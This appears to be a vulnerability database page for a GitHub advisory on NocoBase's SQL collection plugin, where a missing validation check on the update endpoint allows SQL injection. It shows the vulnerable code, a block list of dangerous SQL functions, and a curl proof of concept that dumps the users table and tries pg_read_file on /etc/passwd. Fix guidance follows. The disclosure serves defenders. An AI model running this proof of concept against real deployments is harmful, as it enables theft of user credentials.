Severity by source
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
5DescriptionGitHub Advisory
Summary
The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.
Affected component: @nocobase/plugin-collection-sql Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)
Vulnerable Code
checkSQL is applied on create and execute
packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts
// Line 51-60 - execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
const { sql } = ctx.action.params.values || {};
try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
// ...
}checkSQL is NOT applied on update
// Line 105-118 - update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
const transaction = await ctx.app.db.sequelize.transaction();
try {
const { upRes } = await updateCollection(ctx, transaction);
// No checkSQL() call anywhere in this path!
const [collection] = upRes;
await collection.load({ transaction, resetFields: true });
await transaction.commit();
}
// ...
}The checkSQL function itself
packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28
export const checkSQL = (sql: string) => {
const dangerKeywords = [
'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
];
sql = sql.trim().split(';').shift();
if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
throw new Error('Only supports SELECT statements or WITH clauses');
}
if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
throw new Error('SQL statements contain dangerous keywords');
}
};PoC
TOKEN="<admin_jwt_token>"
# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "exfil_collection",
"sql": "SELECT 1 as id",
"fields": [{"name": "id", "type": "integer"}],
"template": "sql"
}'
# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"
# Step 3: Update with dangerous SQL - bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"sql": "SELECT * FROM users",
"fields": [
{"name": "id", "type": "integer"},
{"name": "email", "type": "string"},
{"name": "password", "type": "string"}
]
}'
# Returns: 200 OK - no validation!
# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
-H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashesImpact
- Confidentiality: Arbitrary
SELECTqueries exfiltrate any table. Confirmed dump of theuserstable including password hashes. - Integrity/Availability: Although
checkSQLstrips after the first semicolon, dangerous single-statement operations likeSELECT ... INTO, subqueries with side effects, or database-specific functions (pg_read_file,LOAD_FILE,dblink) are all accessible through the update bypass. - Privilege escalation: On PostgreSQL,
dblinkenables lateral movement to other databases.pg_read_filereads arbitrary files from the database server filesystem.
Fix Suggestion
- Add
checkSQL()to theupdateaction. The one-line fix:
update: async (ctx: Context, next: Next) => {
const { sql } = ctx.action.params.values || {};
if (sql) {
try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
}
// ... existing code ...
}- Centralize validation in middleware rather than per-action. Apply
checkSQLin the resource middleware for any action that accepts asqlfield, so future actions cannot accidentally skip it. - Strengthen the blocklist. The current list is missing
COPY(PostgreSQL file I/O and RCE),CREATE,ALTER,DROP,GRANT,SET, andEXECUTE. Consider switching to a parser-based allowlist that only permitsSELECTandWITH ... SELECTat the AST level rather than relying on keyword blocklisting.
AnalysisAI
SQL injection in NocoBase plugin-collection-sql allows authenticated users with collection management permissions to bypass validation controls and execute arbitrary SQL queries. The checkSQL() function blocks dangerous keywords on collection creation and execution but is completely absent from the update endpoint, enabling attackers to create benign SQL collections then modify them with malicious queries to exfiltrate sensitive data including user credentials. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires authenticated access with collection management permissions, specifically the pm.data-source-manager.collection-sql permission scope in NocoBase's role-based access control system. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | CVSS 7.2 (High) with vector AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H reflects network-accessible exploitation requiring high privileges (collection management role). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with collection management permissions (often granted to data modelers or departmental admins in NocoBase deployments) authenticates to the platform and creates a SQL collection named 'reports' with benign SQL like 'SELECT 1 as id' that passes checkSQL validation. Minutes later, they issue an update request to the sqlCollection:update endpoint, modifying the SQL to 'SELECT id, email, password FROM users' with matching field definitions. … |
| Remediation | Apply vendor-released patch from NocoBase GitHub PR #9134 (commit 851aee543efa894142e0f7be03eb55d9cec06a91) available at https://github.com/nocobase/nocobase/pull/9134. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all NocoBase deployments running plugin-collection-sql and document current versions. …
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EUVD-2026-28318
GHSA-wrwh-c28m-9jjh